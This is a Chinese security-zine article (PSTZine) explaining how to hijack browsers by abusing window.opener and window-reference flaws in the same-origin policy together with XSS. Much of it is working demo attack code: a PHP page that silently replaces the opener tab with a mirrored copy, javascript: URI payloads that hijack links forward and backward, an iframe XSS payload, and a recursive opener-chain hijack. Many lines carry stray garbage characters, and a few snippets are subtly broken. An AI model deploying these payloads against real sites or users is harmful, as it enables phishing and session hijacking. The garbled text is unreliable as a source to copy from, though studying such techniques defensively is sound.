[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==
1 F9 V' x7 ^) b; u
/ U3 M. y' y% B3 T( l                       Issue 0x03, Phile #0x05 of 0x07

! B0 e$ r, S! k& V0 @
+ K1 x9 }8 e$ ]' u7 n; _+ @3 K|=---------------------------------------------------------------------------=|
3 o3 J6 j/ {5 Q9 H  [" @3 X( _|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
4 X# y+ ~8 z% U/ L3 F+ \5 [( o|=---------------------------------------------------------------------------=|
! M# j9 g1 V. u; L( g|=---------------------------------------------------------------------------=|
+ S( f( f5 _5 U) n$ u# S|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
|=---------------------------------------------------------------------------=|

5 |% \# V$ ^5 Y6 @# B. y* q
5 Z9 y6 X" s, C[目录]
0 U$ g: [9 E$ J8 r
# V  J8 l4 C2 L1. 前言
2. 同源策略简叙
& F# t2 W& a; M1 h0 F# B3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
  X6 ?( X5 n# F3 S4 e8 N; Y9 W5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
) _! W( i! q: W2 N5 j  6.1 正向跨窗口劫持
  {0 \! W$ t9 J6 C* Q# f. D% l  6.2 反向跨窗口劫持
  6.3 极度危险的跨框架窗口引用劫持
  6.4 极度危险的正反向跨窗口递归劫持
  6.5 完全控制浏览器
7. 后记
9 H% W8 _6 ]  \2 i0 r& W4 F8. 参考
- |+ v+ U5 ^9 l
# v2 D# b% C0 n7 p8 H: w! Z
一、前言
  J; z4 t6 z$ K4 x/ v% r% ~( K. p; }6 z
    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
+ ]- x  i& i- M, i友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
- V. X- W& [8 j  M条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。
' R0 U1 ]  \6 j* j' Q* y
2 |% ^. |1 P7 x
二、同源策略简叙

8 G0 }' u! L% s8 @' ]5 o# b    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
- O9 d! T" D! N/ L* B& K1 Q从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
& J9 h% l' r; @漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。
9 u, n5 T' u* Y' l$ ]& w5 ]

5 g+ ?, C* ?+ X三、理解window对象的同源策略

6 @  E: Q( Z9 z7 Y    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
( _2 |; r2 E$ \# o1 s7 J1 W5 h象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：

! O* W) l! T6 p( a% s2 I--code-------------------------------------------------------------------------
* {: F8 T- @' D( C" n1 n<script language="javascript">
for(p in window) document.write(p+"<br>");
* {& U0 ?% N9 m  m3 j) {) v</script>
; X* u1 t+ {0 G& R-------------------------------------------------------------------------------

& m* \! k9 p9 j; O9 k% a; }  L& c    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
这些属性和方法就必须遵循同源策略。
; L: `) F8 ]% o: G6 ?" I
    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
0 B) u+ D, }4 S" s2 G么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
9 L& z& I: H( w值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
6 E, A- ~5 Y7 b( @0 L属性并没有被拒绝访问。

--demo.html--------------------------------------------------------------------
# [& y+ J) S  J* a: b* f<script language="javascript">   
function allPrpos(obj) {      
: e1 S8 j1 n1 F" W. l& Q3 W      var props = "<table><tr><td>名称</td><td>值</td>";           
      for(var p in obj){         
, m  A( j- S. Y5 g1 a' n            if(typeof(obj[p])=="function"){   
, j4 w% M6 K1 _8 |# Q: a                   obj[p]();   
             }else{                     
                  try   
                   {   
9 K2 d. v: @" Q( V6 o; d                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
6 N' B3 `: v5 H6 m# w, \) k. j                   }   
, c  F4 R* ?7 G9 A                  catch (ex)   
                   {   
                  
' x9 k1 i" |$ D& h4 a1 Z                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
: A& B! F6 d5 b& m/ T                   }   
                       
             }   
8 D' `4 I; ^; i# t       }   
   
6 v2 h2 ^3 Q8 h: B& X: @       document.write(props+"</table>");   
}   
   
function createWin() {
1 K- h1 W) Y' G; j1 C; N  P2 F        newWin = window.open ("http://www.google.com");  
        setTimeout(function(){allPrpos(newWin)},2000);
* V2 d/ s. t" t" Y7 @0 e1 p  c}

</script>
6 n# l. C1 R( u
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
  ^( A9 k: ~. a+ I
# m7 \/ j4 d0 b3 k+ }9 G
; d: K& _  K: ^四、窗口引用功能中的同源策略漏洞

8 l, `+ m$ L5 A" O! [4.1 父窗口引用子窗口的同源策略问题

8 u+ Q; @4 f/ P+ U: o    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
! ^  Z% o& r' R( v+ y$ e浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
, k! b9 F# t; L行测试，会发现父窗口可以控制非同源子窗口location属性值。

* L2 S" G/ A! r/ h7 v" W--vul1.html--------------------------------------------------------------------
7 l- \; b( s4 V$ f1 B! i' O<script language="javascript">
' I. D! O1 L5 e% I2 {/ E3 mfunction createWin() {  
2 r7 A& l, ?0 j) t& }! f% H        newWin = window.open ("http://www.google.com");  
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
</script>
& T5 @! |1 J9 b& X1 `) {9 g
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------


4.2 子窗口引用父窗口的同源策略问题

7 O: s+ V2 J9 d( F- F+ v+ G1 {    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
( I! N4 Q2 h* V+ h" Z用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
" ^1 v% g0 g. a2 K* ]1 t/ d+ @: c2 e可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
0 s' F, m. ]3 n1 A/ w" q2 P6 S会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。

--code-------------------------------------------------------------------------
4 w; H  \) }* v
, }& u3 v8 C9 Ojavascript:window.opener.location = "http://www.80sec.com";void(0);
3 C9 E6 _: o+ M; ~
: x) D, m# G: |0 N7 h% c% q-------------------------------------------------------------------------------

/ ~% Y/ e! B5 H% z
五、利用窗口引用漏洞劫持浏览器

    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
$ O' j3 H$ j, j! Y( W+ b生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
% E& `1 H; {! Y/ g9 Z) b者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
会产生什么可怕的后果。

; \9 {! p! F/ J) a    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
2 R9 D5 j) _0 u" G& E们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
3 V7 d- U% y  A. x: V候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
8 `- R' A5 J2 i( G& B' b2 a以做更多的事情，所有的一切仅仅是因为点击了一个链接。

--hjk_ref.php------------------------------------------------------------------
<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
! r  U3 c5 a0 Y* D: I( x* R0 s, }$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
+ B4 `* R  P  ]6 vif(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
% e) S8 V/ X9 v5 k3 e}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
6 y7 ?: j$ x% T</script>
4 l' V6 X- k6 D* I6 T5 [4 E% i-------------------------------------------------------------------------------

2 [! D7 r' U& Q2 u    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。


; @$ p- x- e: o6 t7 i六、利用XSS漏洞劫持浏览器

( T) o2 ~: g$ r6 W8 L' I% V    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
& }6 W# u5 o! X3 H) M持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
8 L$ U  e0 Q! m9 S9 s( t! ]讨论跨站师的终极技巧：
" V7 l2 j4 t5 p" @* m9 [* x

6.1 正向跨窗口劫持

    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
4 N' ~) Z+ v! b9 ~" ]8 f+ n主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
/ h8 B* @0 m2 I框脚本。
3 _5 X% Y$ h2 v! X, d' Y9 S
: Q( P9 N6 G. [4 j0 O$ w--hijack_open.js---------------------------------------------------------------
) w: s1 |$ s8 o0 x
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

-------------------------------------------------------------------------------
1 d) ^- }. Y, c" t' P4 V4 @/ o
6 w8 {3 r/ C5 a& H# D) X* a
6.2 反向跨窗口劫持
' R7 u  O; Z" p% o
    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
框脚本。

--hijack_opener.js-------------------------------------------------------------

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

-------------------------------------------------------------------------------
2 x+ _6 A, z+ Z% e$ u

* l& H9 R, S7 U' g4 p0 E6.3 极度危险的跨框架窗口引用劫持

: G! [8 P& j/ D- u    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
3 C. R% f6 y8 X  D可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
% A# q" H/ i6 h+ E; ^非持久型的XSS，如下：

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
$ ~" a/ p0 t% b- s
    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。
/ A4 W3 Z9 p: a
--hijack_frame_opener.js-------------------------------------------------------
& `% c% @2 t  ]3 B3 S<script>
% z  K' [2 I9 _" gwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>
, E- \9 K& k5 E9 m-------------------------------------------------------------------------------


5 n/ j) d, m8 s9 }: m) M+ O0 s6.4 极度危险的正反向跨窗口递归劫持

+ F5 M( @6 x- K$ m( L5 Q& V    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
' }- `+ N) u- m& i' N异常处理规避之间跨域页面的访问异常，代码如下：

" D1 T$ j9 L/ }8 @9 r( p--code-------------------------------------------------------------------------
- R4 ~& T9 N3 x+ O: W# X' i
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
8 R; I2 I+ }% f0 e% H& @/ K% @0 S& d
-------------------------------------------------------------------------------

; ~% }" w( g8 s    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面，从而实现“隔空打击”。
  R4 o, _7 M& v) n6 D* D
    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。
" ]* \3 X- U; i3 O+ c6 V

4 m& H  V( l# C' K! E0 H" y! R6.5 完全控制浏览器

' T2 v. }! x* t! ?    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
1 t! E( c! \7 F8 R是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
3 h# x) Q) Q5 V3 N6 H* U( E& y列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
# u  J8 G& ~; m# ~" I' z师的终极目标 - 完全控制浏览器。
; ?. l3 b3 ]4 N8 B' ^) O

七、后记

" _3 {2 P& f6 D& g) U8 S. Z, H# J    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
; A: i7 w7 O$ {2 Y" v3 L过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。

, k% r( W% w' I, J/ A0 W
八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browser ... licy_for_DOM_access
6 p& [) R2 u1 l8 ?) O3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
; s& V, A6 p7 i8 Y9 b0 ~5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

-EOF-